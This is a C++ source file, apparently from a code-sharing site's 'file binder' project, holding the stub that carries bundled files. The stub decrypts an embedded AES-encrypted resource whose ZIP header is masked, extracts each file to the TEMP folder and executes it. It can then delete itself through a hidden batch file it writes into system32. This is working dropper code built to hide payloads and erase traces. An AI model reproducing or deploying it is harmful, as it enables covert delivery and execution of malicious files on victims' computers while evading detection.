www.gusucode.com > VC2003开发的文件捆绑机-源码程序 > VC2003开发的文件捆绑机-源码程序\code\VC6\Studio\Studio.cpp
//Download by http://www.NewXing.com // Studio.cpp : 定义应用程序的入口点。 // #include "stdafx.h" #include "Studio.h" #include "zip/unzip.h" #include "AESEncryption.h" //获得到环境变量 void GetSystemPath(IN LPCWSTR Variable, OUT WCHAR* Path,IN DWORD nSize); //自删除 void DeleteMe(); int APIENTRY _tWinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPTSTR lpCmdLine, int nCmdShow) { HRSRC hResInfo = FindResource(hInstance,MAKEINTRESOURCE(IDR_DATA_INS),A("AAAA")); if (hResInfo == NULL) return 0; HGLOBAL hRes = LoadResource(hInstance,hResInfo); if (hRes == NULL) return 0; //找到并锁定资源 LPVOID Data = LockResource(hRes); //资源大小 DWORD nSize = SizeofResource(hInstance,hResInfo); char* lpData = new char[nSize]; CAESEncryption aes; if (false == aes.Decryption(Data, nSize, lpData)) return false; //解锁资源 UnlockResource(hRes); //释放资源 FreeResource(hRes); char Info[4]; //这里获得头两个字节作为标志位 char Orgi[4]; memcpy(Info,lpData,4); Orgi[0] = 0x50; Orgi[1] = 0x4b; Orgi[2] = 0x03; Orgi[3] = 0x04; memcpy(lpData, Orgi,4); //复原ZIP的文件头 //获得环境变量TEMP的绝对路径 WCHAR tempPath[MAX_PATH]; memset(tempPath,0,MAX_PATH); GetSystemPath(A("TEMP"),tempPath,MAX_PATH); //以ZIP文件方式打开如果数据无效则返回空句柄 HZIP hZip = OpenZip(lpData,nSize,NULL); //设置文件的当前目录为根目录 SetUnzipBaseDir(hZip,_T("\\")); ZIPENTRY ze; //或得到全部的文件的数量 GetZipItem(hZip,-1,&ze); int numitems = ze.index; //文件数量 WCHAR name[1024] = {0}; //保存文件名 for (int zi=0; zi<numitems; zi++) { //循环获得每一个文件的信息 GetZipItem(hZip,zi,&ze); //组成 C:\WINDOWS\TEMP\文件名 的形式 memset(name,0,1024); wsprintf(name,A("%s\\%s"),tempPath,ze.name); //解压缩 UnzipItem(hZip,zi,name); //打开文件 ShellExecute(NULL,A("open"),name,NULL,NULL,SW_SHOW); } //关闭句柄 CloseZip(hZip); //如果标志位一为 0x01 则自删除 if (Info[0] == 0x01) DeleteMe(); return 0; } //获得环境变量 void GetSystemPath(IN LPCWSTR Variable, OUT WCHAR* Path,IN DWORD nSize) { GetEnvironmentVariable(Variable,Path,nSize); } //自删除 void DeleteMe() { char FilePath[MAX_PATH]; char CmdLine[MAX_PATH + 1024]; WCHAR SysPath[MAX_PATH]; DWORD nByteWrite = 0; //获得当前文件路径 memset(FilePath, 0, MAX_PATH); GetModuleFileNameA(0, FilePath, MAX_PATH); /* 自删批处理 @echo off :repeat del /f /q [文件名] if exist [文件名] goto repeat del /f /q [批处理] */ memset(CmdLine, 0, MAX_PATH + 1024); sprintf(CmdLine, "@echo off\r\n:repeat\r\ndel /f /q \"%s\"\r\nif exist \"%s\" goto repeat\r\ndel /f /q %%0", FilePath, FilePath); //获得环境变量 SYSTEMROOT ,XP 为 C:\WINDOWS, 2000/NT 为 C:\WINNT GetEnvironmentVariable(L"SYSTEMROOT", SysPath, MAX_PATH); //组成 %systemroot%\system32\hfblddel.bat 的形式 wcscat(SysPath, L"\\system32\\hfblddel.bat"); //写入批处理,这里虽然工程是 Unicode 编码的,但是这里要用 Ansi 编码,否则写入的文件无法执行。 HANDLE hFile = CreateFile(SysPath, GENERIC_WRITE, 0 , NULL, CREATE_ALWAYS, 0, NULL); WriteFile(hFile, CmdLine, (DWORD)strlen(CmdLine), &nByteWrite, NULL); CloseHandle(hFile); //执行自删批处理 ShellExecute(NULL,A("open"),SysPath,NULL,NULL,SW_HIDE); }